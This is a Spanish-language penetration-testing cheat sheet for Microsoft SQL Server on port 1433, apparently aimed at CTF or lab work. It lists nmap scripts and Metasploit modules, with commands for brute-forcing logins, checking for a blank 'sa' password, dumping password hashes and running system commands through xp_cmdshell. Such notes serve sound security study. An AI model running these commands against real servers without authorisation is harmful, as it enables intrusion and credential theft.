> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/servicios-comunes/mssql-1433.md).

# MSSQL (1433)

MSSQL, o Microsoft SQL Server, es un sistema de gestión de bases de datos relacional desarrollado por Microsoft. Es utilizado para almacenar y recuperar datos según las necesidades de diferentes aplicaciones, desde pequeñas a grandes empresas. MSSQL ofrece características avanzadas como soporte para transacciones, integridad referencial, seguridad robusta y herramientas de administración y desarrollo. Es conocido por su integración estrecha con otros productos de Microsoft, como .NET Framework y Azure, y utiliza T-SQL (Transact-SQL) como su lenguaje de consulta.

### Nmap

Scripts de `nmap` utiles para este servicio:

* ms-sql-info
* ms-sql-ntlm-info
* ms-sql-brute
* ms-sql-empty-password
* ms-sql-query
* ms-sql-dump-hashes
* ms-sql-xp-cmdshell

```bash
nmap --script ms-sql-info -p 1433 192.168.1.10
```

Comprobar autenticación NTLM

```bash
nmap --script ms-sql-ntlm-info --script-args mssql.instance-port 1433 192.168.1.10
```

Enumerar usuarios y contraseña validos para MSSQL

```bash
nmap -p 1433 --script ms-sql-brute -script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt 192.168.1.10
```

Comprobar si el usuario "sa" tiene configurada la contraseña como vacia

```bash
nmap -p 1433 --script ms-sql-empty-password 192.168.1.10
```

Extraer todos los usuarios con sesión con una consulta sql

```bash
nmap -p 1433 --script ms-sql-query --script-args mssql.username=<USER>,mssql.password=<PASSWORD>,ms-sql-query="SELECT * FROM master..syslogins" 192.168.1.10 -oN output.txt
```

Extraer todos los hashes de los usuarios

```bash
nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=<USER>,mssql.password=<PASSWORD> 192.168.1.10
```

Ejecutar un comando en la máquina victima usando `xp_cmdshell`

```bash
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=<USER>,mssql.password=<PASSWORD>,ms-sql-xp-cmdshell.cmd="type C:\flag.txt" 192.168.1.10
```

### Metasploit

* auxiliary/scanner/mssql/mssql\_login
* auxiliary/admin/mssql/mssql\_enum
* auxiliary/admin/mssql/mssql\_enum\_sql\_logins
* auxiliary/admin/mssql/mssql\_exec
* auxiliary/admin/mssql/mssql\_enum\_domain\_accounts
